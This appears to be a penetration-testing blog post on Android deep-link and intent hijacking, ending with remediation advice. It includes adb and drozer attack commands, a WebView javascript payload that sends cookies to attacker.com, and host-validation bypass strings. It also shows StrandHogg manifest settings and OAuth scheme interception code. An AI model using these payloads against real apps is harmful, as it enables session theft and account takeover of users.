← Back to writing
Mobile / Android

Deep Link & Intent Hijacking

Nov 08, 2024
4 min read
lawbyte

Android’s intent system is a powerful inter-component communication mechanism — and a rich attack surface. This post covers the full range of intent-based vulnerabilities from deep link injection to task hijacking.

Android Intents — Quick Primer

An Intent is a messaging object used to request an action from another app component. There are two types:

  • Explicit Intent — specifies the target component by name. Used for intra-app communication.
  • Implicit Intent — describes the action, letting the OS find a matching component. Any app can register to handle implicit intents.

Deep links are URLs that trigger an Intent, launching a specific app or activity.


Enumerating the Attack Surface

Manifest analysis

apktool d target.apk -o output/
grep -A 10 "<intent-filter>" output/AndroidManifest.xml

Look for:

  • Activities, services, or receivers with exported="true" (or no permission)
  • <data> tags defining URI schemes (deep links)
  • <action android:name="android.intent.action.VIEW"> + <category android:name="android.intent.category.BROWSABLE"> — accessible from browser

drozer

run app.package.attacksurface com.target.app
run app.activity.info -a com.target.app -i # exported activities
run app.service.info -a com.target.app -i # exported services
run app.broadcast.info -a com.target.app -i # exported receivers

# Custom URI scheme
target://path/to/resource?param=value

# App Links (verified domain)
https://app.target.com/path

Triggering via ADB

# Launch deep link
adb shell am start -a android.intent.action.VIEW \
-d "target://login?redirect=https://attacker.com"

# Force launch even if no handler
adb shell am start -a android.intent.action.VIEW \
-d "target://reset-password?token=abc123" \
com.target.app/.PasswordResetActivity

# Via intent extras
adb shell am start -n com.target.app/.WebViewActivity \
--es url "javascript:alert(1)"

Open Redirect:

target://oauth/callback?redirect=https://attacker.com

If the app opens the redirect URL without validation — redirect to phishing page.

WebView URL Injection:

adb shell am start -a android.intent.action.VIEW \
-d "target://open?url=javascript:document.location='https://attacker.com/?c='+document.cookie"

If the app passes the url parameter to a WebView without validation, you get XSS in the app’s WebView context — potentially accessing JavaScript bridges.

Token Leakage:

If a deep link carries a session token and the activity is exported, any other app can read it:

// Vulnerable
val token = intent.data?.getQueryParameter("token")
// Attacker app
Intent i = new Intent(Intent.ACTION_VIEW,
Uri.parse("target://auth/callback?token=victim_token"));
startActivity(i);

Actually, the attacker’s own exported activity can register for the same scheme and steal the token before the legitimate app handles it (if scheme-based, not App Links).


Implicit Intent Interception

When an app sends an implicit intent (e.g., share, open file, pick contact), any app can register to handle it.

Vulnerable code:

Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_TEXT, "Sensitive: " + authToken);
startActivity(intent);

A malicious app with the same intent filter captures the data. This is the “confused deputy” problem.

Testing implicit intents with drozer

# Find all intents the app sends
run scanner.activity.browsable -a com.target.app

# Start a sniffing activity that handles any implicit intent
# (use drozer's built-in intent capture)
run exploit.intent.intercept

Task Hijacking (StrandHogg)

StrandHogg — malicious app configures android:taskAffinity to match the target app and allowTaskReparenting=true. The malicious activity reparents into the target app’s task.

When the user next launches the target app, the malicious activity appears instead.

Vulnerable configuration:

<activity android:name=".MaliciousActivity"
android:taskAffinity="com.target.app"
android:allowTaskReparenting="true">

StrandHogg 2.0 — exploits a flaw in the startActivities() API, no manifest config needed. Fixed in May 2020 security patch.

Testing

# Check if activities have non-default task affinity
grep -i "taskAffinity\|allowTaskReparenting" output/AndroidManifest.xml

Exported Activity Direct Launch

Any exported activity without permission can be launched directly, bypassing navigation guards:

# Launch admin activity directly
adb shell am start -n com.target.app/.AdminPanelActivity

# Launch WebView with custom URL
adb shell am start -n com.target.app/.InternalWebViewActivity \
--es "url" "file:///etc/hosts"

# Launch with extras that skip auth checks
adb shell am start -n com.target.app/.MainActivity \
--ez "skip_login" true \
--es "user_role" "admin"

Exported Services

Services handle background tasks. If exported, they can be triggered externally.

# Start exported service
adb shell am startservice -n com.target.app/.SyncService \
--es "action" "delete_all"

# Send broadcast to exported receiver
adb shell am broadcast -a com.target.app.ADMIN_ACTION \
--es "command" "reset"

Custom URI schemes (target://) can be intercepted by any installed app that registers the same scheme. No trust mechanism.

Android App Links (https://) require the domain to host a .well-known/assetlinks.json file, cryptographically binding the app to the domain. Much harder to hijack.

Check the asset links file:

curl https://target.com/.well-known/assetlinks.json
# Should contain your app's SHA256 certificate fingerprint

If the app relies on custom schemes for OAuth callbacks, this is a finding — use App Links instead.


OAuth flows using custom scheme redirect URIs are vulnerable to interception:

Authorization URL:
https://auth.target.com/oauth/authorize?
client_id=xxx&
redirect_uri=target://oauth/callback&
response_type=code

Malicious app registers same scheme:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<data android:scheme="target" android:host="oauth" android:path="/callback"/>
</intent-filter>

The malicious app receives the authorization code.


If the app validates the host:

// Validates host
if (!uri.getHost().equals("app.target.com")) throw new SecurityException();

Try bypass:

target://app.target.com.attacker.com/   → subdomain confusion
target://app.target.com@attacker.com/ → userinfo bypass
target://app.target.com/path?url=//attacker.com → open redirect via param

Remediation

  • Use App Links (verified HTTPS) instead of custom URI schemes for OAuth and sensitive flows.
  • Do not pass deep link parameters directly to WebView — validate and whitelist URLs.
  • Mark sensitive activities with exported="false" and protect them with android:permission.
  • Validate all intent extras before use — type-check, range-check, whitelist values.
  • Don’t use implicit intents to transmit sensitive data — use explicit intents or secure IPC.
  • Set android:taskAffinity="" on all activities to prevent StrandHogg.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.